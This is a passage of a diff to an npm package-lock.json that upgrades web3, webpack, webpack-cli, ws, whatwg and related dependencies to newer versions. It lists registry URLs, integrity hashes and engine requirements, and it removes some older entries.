"https://registry.npmjs.org/web3-eth-personal/-/web3-eth-personal-4.0.8.tgz", + "integrity": "sha512-sXeyLKJ7ddQdMxz1BZkAwImjqh7OmKxhXoBNF3isDmD4QDpMIwv/t237S3q4Z0sZQamPa/pHebJRWVuvP8jZdw==", "dependencies": { - "@types/node": "^12.12.6", - "web3-core": "1.7.5", - "web3-core-helpers": "1.7.5", - "web3-core-method": "1.7.5", - "web3-net": "1.7.5", - "web3-utils": "1.7.5" + "web3-core": "^4.3.0", + "web3-eth": "^4.3.1", + "web3-rpc-methods": "^1.1.3", + "web3-types": "^1.3.0", + "web3-utils": "^4.0.7", + "web3-validator": "^2.0.3" }, "engines": { - "node": ">=8.0.0" + "node": ">=14", + "npm": ">=6.12.0" } }, - "node_modules/web3-eth-personal/node_modules/@types/node": { - "version": "12.20.55", - "resolved": "https://registry.npmjs.org/@types/node/-/node-12.20.55.tgz", - "integrity": "sha512-J8xLz7q2OFulZ2cyGTLE1TbbZcjpno7FaN6zdJNrgAdrJ+DZzh/uFR6YrTb4C+nXakvud8Q4+rbhoIWlYQbUFQ==" - }, "node_modules/web3-net": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-net/-/web3-net-1.7.5.tgz", - "integrity": "sha512-xwuCb2YWw49PmW81AJQ/G+Xi2ikRsYyZXSgyPt4LmZuKjiqg/6kSdK8lZvUi3Pi3wM+QDBXbpr73M/WEkW0KvA==", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/web3-net/-/web3-net-4.1.0.tgz", + "integrity": "sha512-WWmfvHVIXWEoBDWdgKNYKN8rAy6SgluZ0abyRyXOL3ESr7ym7pKWbfP4fjApIHlYTh8tNqkrdPfM4Dyi6CA0SA==", "dependencies": { - "web3-core": "1.7.5", - "web3-core-method": "1.7.5", - "web3-utils": "1.7.5" + "web3-core": "^4.4.0", + "web3-rpc-methods": "^1.3.0", + "web3-types": "^1.6.0", + "web3-utils": "^4.3.0" }, "engines": { - "node": ">=8.0.0" + "node": ">=14", + "npm": ">=6.12.0" } }, "node_modules/web3-provider-engine": { @@ -18082,88 +15392,158 @@ } }, "node_modules/web3-providers-http": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-providers-http/-/web3-providers-http-1.7.5.tgz", - "integrity": "sha512-vPgr4Kzy0M3CHtoP/Bh7qwK/D9h2fhjpoqctdMWVJseOfeTgfOphCKN0uwV8w2VpZgDPXA8aeTdBx5OjmDdStA==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/web3-providers-http/-/web3-providers-http-4.2.0.tgz", + "integrity": "sha512-IPMnDtHB7dVwaB7/mMxAZzyq7d5ezfO1+Vw0bNfAeIi7gaDlJiggp85SdyAfOgov8AMUA/dyiY72kQ0KmjXKvQ==", "dependencies": { - "abortcontroller-polyfill": "^1.7.3", - "cross-fetch": "^3.1.4", - "es6-promise": "^4.2.8", - "web3-core-helpers": "1.7.5" + "cross-fetch": "^4.0.0", + "web3-errors": "^1.3.0", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.1" }, "engines": { - "node": ">=8.0.0" + "node": ">=14", + "npm": ">=6.12.0" } }, "node_modules/web3-providers-http/node_modules/cross-fetch": { - "version": "3.1.5", - "resolved": "https://registry.npmjs.org/cross-fetch/-/cross-fetch-3.1.5.tgz", - "integrity": "sha512-lvb1SBsI0Z7GDwmuid+mU3kWVBwTVUbe7S0H52yaaAdQOXq2YktTCZdlAcNKFzE6QtRz0snpw9bNiPeOIkkQvw==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/cross-fetch/-/cross-fetch-4.0.0.tgz", + "integrity": "sha512-e4a5N8lVvuLgAWgnCrLr2PP0YyDOTHa9H/Rj54dirp61qXnNq46m82bRhNqIA5VccJtWBvPTFRV3TtvHUKPB1g==", "dependencies": { - "node-fetch": "2.6.7" + "node-fetch": "^2.6.12" } }, "node_modules/web3-providers-ipc": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-providers-ipc/-/web3-providers-ipc-1.7.5.tgz", - "integrity": "sha512-aNHx+RAROzO+apDEzy8Zncj78iqWBadIXtpmFDg7uiTn8i+oO+IcP1Yni7jyzkltsysVJHgHWG4kPx50ANCK3Q==", + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/web3-providers-ipc/-/web3-providers-ipc-4.0.7.tgz", + "integrity": "sha512-YbNqY4zUvIaK2MHr1lQFE53/8t/ejHtJchrWn9zVbFMGXlTsOAbNoIoZWROrg1v+hCBvT2c9z8xt7e/+uz5p1g==", + "optional": true, + "dependencies": { + "web3-errors": "^1.1.3", + "web3-types": "^1.3.0", + "web3-utils": "^4.0.7" + }, + "engines": { + "node": ">=14", + "npm": ">=6.12.0" + } + }, + "node_modules/web3-providers-ws": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/web3-providers-ws/-/web3-providers-ws-4.0.8.tgz", + "integrity": "sha512-goJdgata7v4pyzHRsg9fSegUG4gVnHZSHODhNnn6J93ykHkBI1nz4fjlGpcQLUMi4jAMz6SHl9Ibzs2jj9xqPw==", + "dependencies": { + "@types/ws": "8.5.3", + "isomorphic-ws": "^5.0.0", + "web3-errors": "^1.2.0", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.1", + "ws": "^8.17.1" + }, + "engines": { + "node": ">=14", + "npm": ">=6.12.0" + } + }, + "node_modules/web3-rpc-methods": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/web3-rpc-methods/-/web3-rpc-methods-1.3.0.tgz", + "integrity": "sha512-/CHmzGN+IYgdBOme7PdqzF+FNeMleefzqs0LVOduncSaqsppeOEoskLXb2anSpzmQAP3xZJPaTrkQPWSJMORig==", + "dependencies": { + "web3-core": "^4.4.0", + "web3-types": "^1.6.0", + "web3-validator": "^2.0.6" + }, + "engines": { + "node": ">=14", + "npm": ">=6.12.0" + } + }, + "node_modules/web3-rpc-providers": { + "version": "1.0.0-rc.2", + "resolved": "https://registry.npmjs.org/web3-rpc-providers/-/web3-rpc-providers-1.0.0-rc.2.tgz", + "integrity": "sha512-ocFIEXcBx/DYQ90HhVepTBUVnL9pGsZw8wyPb1ZINSenwYus9SvcFkjU1Hfvd/fXjuhAv2bUVch9vxvMx1mXAQ==", + "dependencies": { + "web3-errors": "^1.3.0", + "web3-providers-http": "^4.2.0", + "web3-providers-ws": "^4.0.8", + "web3-types": "^1.7.0", + "web3-utils": "^4.3.1", + "web3-validator": "^2.0.6" + }, + "engines": { + "node": ">=14", + "npm": ">=6.12.0" + } + }, + "node_modules/web3-types": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/web3-types/-/web3-types-1.7.0.tgz", + "integrity": "sha512-nhXxDJ7a5FesRw9UG5SZdP/C/3Q2EzHGnB39hkAV+YGXDMgwxBXFWebQLfEzZzuArfHnvC0sQqkIHNwSKcVjdA==", + "engines": { + "node": ">=14", + "npm": ">=6.12.0" + } + }, + "node_modules/web3-utils": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/web3-utils/-/web3-utils-4.3.1.tgz", + "integrity": "sha512-kGwOk8FxOLJ9DQC68yqNQc7AzN+k9YDLaW+ZjlAXs3qORhf8zXk5SxWAAGLbLykMs3vTeB0FTb1Exut4JEYfFA==", "dependencies": { - "oboe": "2.1.5", - "web3-core-helpers": "1.7.5" + "ethereum-cryptography": "^2.0.0", + "eventemitter3": "^5.0.1", + "web3-errors": "^1.2.0", + "web3-types": "^1.7.0", + "web3-validator": "^2.0.6" }, "engines": { - "node": ">=8.0.0" + "node": ">=14", + "npm": ">=6.12.0" } }, - "node_modules/web3-providers-ws": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-providers-ws/-/web3-providers-ws-1.7.5.tgz", - "integrity": "sha512-9uJNVVkIGC8PmM9kNbgPth56HDMSSsxZh3ZEENdwO3LNWemaADiQYUDCsD/dMVkn0xsGLHP5dgAy4Q5msqySLg==", + "node_modules/web3-utils/node_modules/ethereum-cryptography": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/ethereum-cryptography/-/ethereum-cryptography-2.2.1.tgz", + "integrity": "sha512-r/W8lkHSiTLxUxW8Rf3u4HGB0xQweG2RyETjywylKZSzLWoWAijRz8WCuOtJ6wah+avllXBqZuk29HCCvhEIRg==", "dependencies": { - "eventemitter3": "4.0.4", - "web3-core-helpers": "1.7.5", - "websocket": "^1.0.32" - }, - "engines": { - "node": ">=8.0.0" + "@noble/curves": "1.4.2", + "@noble/hashes": "1.4.0", + "@scure/bip32": "1.4.0", + "@scure/bip39": "1.3.0" } }, - "node_modules/web3-shh": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-shh/-/web3-shh-1.7.5.tgz", - "integrity": "sha512-aCIWJyLMH5H76OybU4ZpUCJ93yNOPATGhJ+KboRPU8QZDzS2CcVhtEzyl27bbvw+rSnVroMLqBgTXBB4mmKI7A==", - "hasInstallScript": true, + "node_modules/web3-validator": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/web3-validator/-/web3-validator-2.0.6.tgz", + "integrity": "sha512-qn9id0/l1bWmvH4XfnG/JtGKKwut2Vokl6YXP5Kfg424npysmtRLe9DgiNBM9Op7QL/aSiaA0TVXibuIuWcizg==", "dependencies": { - "web3-core": "1.7.5", - "web3-core-method": "1.7.5", - "web3-core-subscriptions": "1.7.5", - "web3-net": "1.7.5" + "ethereum-cryptography": "^2.0.0", + "util": "^0.12.5", + "web3-errors": "^1.2.0", + "web3-types": "^1.6.0", + "zod": "^3.21.4" }, "engines": { - "node": ">=8.0.0" + "node": ">=14", + "npm": ">=6.12.0" } }, - "node_modules/web3-utils": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/web3-utils/-/web3-utils-1.7.5.tgz", - "integrity": "sha512-9AqNOziQky4wNQadEwEfHiBdOZqopIHzQQVzmvvv6fJwDSMhP+khqmAZC7YTiGjs0MboyZ8tWNivqSO1699XQw==", + "node_modules/web3-validator/node_modules/ethereum-cryptography": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/ethereum-cryptography/-/ethereum-cryptography-2.2.1.tgz", + "integrity": "sha512-r/W8lkHSiTLxUxW8Rf3u4HGB0xQweG2RyETjywylKZSzLWoWAijRz8WCuOtJ6wah+avllXBqZuk29HCCvhEIRg==", "dependencies": { - "bn.js": "^5.2.1", - "ethereum-bloom-filters": "^1.0.6", - "ethereumjs-util": "^7.1.0", - "ethjs-unit": "0.1.6", - "number-to-bn": "1.7.0", - "randombytes": "^2.1.0", - "utf8": "3.0.0" - }, - "engines": { - "node": ">=8.0.0" + "@noble/curves": "1.4.2", + "@noble/hashes": "1.4.0", + "@scure/bip32": "1.4.0", + "@scure/bip39": "1.3.0" } }, "node_modules/web3modal": { - "version": "1.9.9", - "resolved": "https://registry.npmjs.org/web3modal/-/web3modal-1.9.9.tgz", - "integrity": "sha512-ML1C4xH+JTSHHkKbjxuF+f5B3cDUOCnrdQZ8Mlzippq7zRKHf3NBeuIvDdNjtVclJ2S4zYYVmVqRWrgB11ej8A==", + "version": "1.9.12", + "resolved": "https://registry.npmjs.org/web3modal/-/web3modal-1.9.12.tgz", + "integrity": "sha512-RiLY2tNOEUCobtsMTmhwl/FoHZGxRZz7SSdLsh6qbbybPNUO0rFPY8xam9SpPwlLd2cUDGiWkLgDUJde0sHxdw==", "dependencies": { "detect-browser": "^5.1.0", "prop-types": "^15.7.2", @@ -18178,39 +15558,41 @@ "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==", "dev": true, + "license": "BSD-2-Clause", "engines": { "node": ">=12" } }, "node_modules/webpack": { - "version": "5.74.0", - "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.74.0.tgz", - "integrity": "sha512-A2InDwnhhGN4LYctJj6M1JEaGL7Luj6LOmyBHjcI8529cm5p6VXiTIW2sn6ffvEAKmveLzvu4jrihwXtPojlAA==", - "dev": true, - "dependencies": { - "@types/eslint-scope": "^3.7.3", - "@types/estree": "^0.0.51", - "@webassemblyjs/ast": "1.11.1", - "@webassemblyjs/wasm-edit": "1.11.1", - "@webassemblyjs/wasm-parser": "1.11.1", - "acorn": "^8.7.1", - "acorn-import-assertions": "^1.7.6", - "browserslist": "^4.14.5", + "version": "5.99.9", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.99.9.tgz", + "integrity": "sha512-brOPwM3JnmOa+7kd3NsmOUOwbDAj8FT9xDsG3IW0MgbN9yZV7Oi/s/+MNQ/EcSMqw7qfoRyXPoeEWT8zLVdVGg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/eslint-scope": "^3.7.7", + "@types/estree": "^1.0.6", + "@types/json-schema": "^7.0.15", + "@webassemblyjs/ast": "^1.14.1", + "@webassemblyjs/wasm-edit": "^1.14.1", + "@webassemblyjs/wasm-parser": "^1.14.1", + "acorn": "^8.14.0", + "browserslist": "^4.24.0", "chrome-trace-event": "^1.0.2", - "enhanced-resolve": "^5.10.0", - "es-module-lexer": "^0.9.0", + "enhanced-resolve": "^5.17.1", + "es-module-lexer": "^1.2.1", "eslint-scope": "5.1.1", "events": "^3.2.0", "glob-to-regexp": "^0.4.1", - "graceful-fs": "^4.2.9", + "graceful-fs": "^4.2.11", "json-parse-even-better-errors": "^2.3.1", "loader-runner": "^4.2.0", "mime-types": "^2.1.27", "neo-async": "^2.6.2", - "schema-utils": "^3.1.0", + "schema-utils": "^4.3.2", "tapable": "^2.1.1", - "terser-webpack-plugin": "^5.1.3", - "watchpack": "^2.4.0", + "terser-webpack-plugin": "^5.3.11", + "watchpack": "^2.4.1", "webpack-sources": "^3.2.3" }, "bin": { @@ -18230,44 +15612,39 @@ } }, "node_modules/webpack-cli": { - "version": "4.10.0", - "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-4.10.0.tgz", - "integrity": "sha512-NLhDfH/h4O6UOy+0LSso42xvYypClINuMNBVVzX4vX98TmTaTUxwRbXdhucbFMd2qLaCTcLq/PdYrvi8onw90w==", + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-6.0.1.tgz", + "integrity": "sha512-MfwFQ6SfwinsUVi0rNJm7rHZ31GyTcpVE5pgVA3hwFRb7COD4TzjUUwhGWKfO50+xdc2MQPuEBBJoqIMGt3JDw==", "dev": true, "dependencies": { - "@discoveryjs/json-ext": "^0.5.0", - "@webpack-cli/configtest": "^1.2.0", - "@webpack-cli/info": "^1.5.0", - "@webpack-cli/serve": "^1.7.0", + "@discoveryjs/json-ext": "^0.6.1", + "@webpack-cli/configtest": "^3.0.1", + "@webpack-cli/info": "^3.0.1", + "@webpack-cli/serve": "^3.0.1", "colorette": "^2.0.14", - "commander": "^7.0.0", + "commander": "^12.1.0", "cross-spawn": "^7.0.3", + "envinfo": "^7.14.0", "fastest-levenshtein": "^1.0.12", "import-local": "^3.0.2", - "interpret": "^2.2.0", - "rechoir": "^0.7.0", - "webpack-merge": "^5.7.3" + "interpret": "^3.1.1", + "rechoir": "^0.8.0", + "webpack-merge": "^6.0.1" }, "bin": { "webpack-cli": "bin/cli.js" }, "engines": { - "node": ">=10.13.0" + "node": ">=18.12.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/webpack" }, "peerDependencies": { - "webpack": "4.x.x || 5.x.x" + "webpack": "^5.82.0" }, "peerDependenciesMeta": { - "@webpack-cli/generators": { - "optional": true - }, - "@webpack-cli/migrate": { - "optional": true - }, "webpack-bundle-analyzer": { "optional": true }, @@ -18276,44 +15653,27 @@ } } }, - "node_modules/webpack-merge": { - "version": "5.8.0", - "resolved": "https://registry.npmjs.org/webpack-merge/-/webpack-merge-5.8.0.tgz", - "integrity": "sha512-/SaI7xY0831XwP6kzuwhKWVKDP9t1QY1h65lAFLbZqMPIuYcD9QAW4u9STIbU9kaJbPBB/geU/gLr1wDjOhQ+Q==", + "node_modules/webpack-cli/node_modules/commander": { + "version": "12.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", + "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", "dev": true, - "dependencies": { - "clone-deep": "^4.0.1", - "wildcard": "^2.0.0" - }, "engines": { - "node": ">=10.0.0" - } - }, - "node_modules/webpack/node_modules/acorn-import-assertions": { - "version": "1.8.0", - "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.8.0.tgz", - "integrity": "sha512-m7VZ3jwz4eK6A4Vtt8Ew1/mNbP24u0FhdyfA7fSvnJR6LMdfOYnmuIrrJAgrYfYJ10F/otaHTtrtrtmHdMNzEw==", - "dev": true, - "peerDependencies": { - "acorn": "^8" + "node": ">=18" } }, - "node_modules/webpack/node_modules/schema-utils": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", - "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==", + "node_modules/webpack-merge": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/webpack-merge/-/webpack-merge-6.0.1.tgz", + "integrity": "sha512-hXXvrjtx2PLYx4qruKl+kyRSLc52V+cCvMxRjmKwoA+CBbbF5GfIBtR6kCvl0fYGqTUPKB+1ktVmTHqMOzgCBg==", "dev": true, "dependencies": { - "@types/json-schema": "^7.0.8", - "ajv": "^6.12.5", - "ajv-keywords": "^3.5.2" + "clone-deep": "^4.0.1", + "flat": "^5.0.2", + "wildcard": "^2.0.1" }, "engines": { - "node": ">= 10.13.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/webpack" + "node": ">=18.0.0" } }, "node_modules/webpack/node_modules/webpack-sources": { @@ -18325,57 +15685,17 @@ "node": ">=10.13.0" } }, - "node_modules/websocket": { - "version": "1.0.34", - "resolved": "https://registry.npmjs.org/websocket/-/websocket-1.0.34.tgz", - "integrity": "sha512-PRDso2sGwF6kM75QykIesBijKSVceR6jL2G8NGYyq2XrItNC2P5/qL5XeR056GhA+Ly7JMFvJb9I312mJfmqnQ==", - "dependencies": { - "bufferutil": "^4.0.1", - "debug": "^2.2.0", - "es5-ext": "^0.10.50", - "typedarray-to-buffer": "^3.1.5", - "utf-8-validate": "^5.0.2", - "yaeti": "^0.0.6" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/websocket/node_modules/debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "dependencies": { - "ms": "2.0.0" - } - }, - "node_modules/websocket/node_modules/ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" - }, "node_modules/whatwg-encoding": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-2.0.0.tgz", - "integrity": "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg==", + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-3.1.1.tgz", + "integrity": "sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==", "dev": true, + "license": "MIT", "dependencies": { "iconv-lite": "0.6.3" }, "engines": { - "node": ">=12" - } - }, - "node_modules/whatwg-encoding/node_modules/iconv-lite": { - "version": "0.6.3", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", - "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", - "dev": true, - "dependencies": { - "safer-buffer": ">= 2.1.2 < 3.0.0" - }, - "engines": { - "node": ">=0.10.0" + "node": ">=18" } }, "node_modules/whatwg-fetch": { @@ -18384,25 +15704,27 @@ "integrity": "sha512-dcQ1GWpOD/eEQ97k66aiEVpNnapVj90/+R+SXTPYGHpYBBypfKJEQjLrvMZ7YXbKm21gXd4NcuxUTjiv1YtLng==" }, "node_modules/whatwg-mimetype": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-3.0.0.tgz", - "integrity": "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-4.0.0.tgz", + "integrity": "sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==", "dev": true, + "license": "MIT", "engines": { - "node": ">=12" + "node": ">=18" } }, "node_modules/whatwg-url": { - "version": "11.0.0", - "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-11.0.0.tgz", - "integrity": "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==", + "version": "14.2.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-14.2.0.tgz", + "integrity": "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw==", "dev": true, + "license": "MIT", "dependencies": { - "tr46": "^3.0.0", + "tr46": "^5.1.0", "webidl-conversions": "^7.0.0" }, "engines": { - "node": ">=12" + "node": ">=18" } }, "node_modules/which": { @@ -18421,15 +15743,74 @@ } }, "node_modules/which-boxed-primitive": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz", + "integrity": "sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-bigint": "^1.1.0", + "is-boolean-object": "^1.2.1", + "is-number-object": "^1.1.1", + "is-string": "^1.1.1", + "is-symbol": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-builtin-type": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.2.1.tgz", + "integrity": "sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "function.prototype.name": "^1.1.6", + "has-tostringtag": "^1.0.2", + "is-async-function": "^2.0.0", + "is-date-object": "^1.1.0", + "is-finalizationregistry": "^1.1.0", + "is-generator-function": "^1.0.10", + "is-regex": "^1.2.1", + "is-weakref": "^1.0.2", + "isarray": "^2.0.5", + "which-boxed-primitive": "^1.1.0", + "which-collection": "^1.0.2", + "which-typed-array": "^1.1.16" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-builtin-type/node_modules/isarray": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz", + "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==", + "dev": true, + "license": "MIT" + }, + "node_modules/which-collection": { "version": "1.0.2", - "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz", - "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==", + "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.2.tgz", + "integrity": "sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==", + "dev": true, + "license": "MIT", "dependencies": { - "is-bigint": "^1.0.1", - "is-boolean-object": "^1.1.0", - "is-number-object": "^1.0.4", - "is-string": "^1.0.5", - "is-symbol": "^1.0.3" + "is-map": "^2.0.3", + "is-set": "^2.0.3", + "is-weakmap": "^2.0.2", + "is-weakset": "^2.0.3" + }, + "engines": { + "node": ">= 0.4" }, "funding": { "url": "https://github.com/sponsors/ljharb" @@ -18441,16 +15822,18 @@ "integrity": "sha512-B+enWhmw6cjfVC7kS8Pj9pCrKSc5txArRyaYGe088shv/FGWH+0Rjx/xPgtsWfsUtS27FkP697E4DDhgrgoc0Q==" }, "node_modules/which-typed-array": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.7.tgz", - "integrity": "sha512-vjxaB4nfDqwKI0ws7wZpxIlde1XrLX5uB0ZjpfshgmapJMD7jJWhZI+yToJTqaFByF0eNBcYxbjmCzoRP7CfEw==", + "version": "1.1.19", + "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.19.tgz", + "integrity": "sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==", + "license": "MIT", "dependencies": { - "available-typed-arrays": "^1.0.5", - "call-bind": "^1.0.2", - "es-abstract": "^1.18.5", - "foreach": "^2.0.5", - "has-tostringtag": "^1.0.0", - "is-typed-array": "^1.1.7" + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "call-bound": "^1.0.4", + "for-each": "^0.3.5", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-tostringtag": "^1.0.2" }, "engines": { "node": ">= 0.4" @@ -18459,32 +15842,12 @@ "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/wide-align": { - "version": "1.1.5", - "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz", - "integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==", - "dev": true, - "optional": true, - "peer": true, - "dependencies": { - "string-width": "^1.0.2 || 2 || 3 || 4" - } - }, "node_modules/wildcard": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/wildcard/-/wildcard-2.0.0.tgz", - "integrity": "sha512-JcKqAHLPxcdb9KM49dufGXn2x3ssnfjbcaQdLlfZsL9rH9wgDQjUtDxbo8NE0F6SFvydeu1VhZe7hZuHsB2/pw==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/wildcard/-/wildcard-2.0.1.tgz", + "integrity": "sha512-CC1bOL87PIWSBhDcTrdeLo6eGT7mCFtrg0uIJtqJUFyK+eJnzl8A1niH56uu7KMa5XFrtiV+AQuHO3n7DsHnLQ==", "dev": true }, - "node_modules/word-wrap": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz", - "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, "node_modules/wrap-ansi": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", @@ -18538,7 +15901,8 @@ "node_modules/wrappy": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" + "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=", + "dev": true }, "node_modules/write-file-atomic": { "version": "4.0.2", @@ -18554,16 +15918,15 @@ } }, "node_modules/ws": { - "version": "8.8.1", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.8.1.tgz", - "integrity": "sha512-bGy2JzvzkPowEJV++hF07hAD6niYSr0JzBNo/J29WsB57A2r7Wlc1UFcTR9IzrPvuNVO4B8LGqF8qcpsVOhJCA==", - "dev": true, + "version": "8.18.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.18.0.tgz", + "integrity": "sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw==", "engines": { "node": ">=10.0.0" }, "peerDependencies": { "bufferutil": "^4.0.1", - "utf-8-validate": "^5.0.2" + "utf-8-validate": ">=5.0.2" }, "peerDependenciesMeta": { "bufferutil": 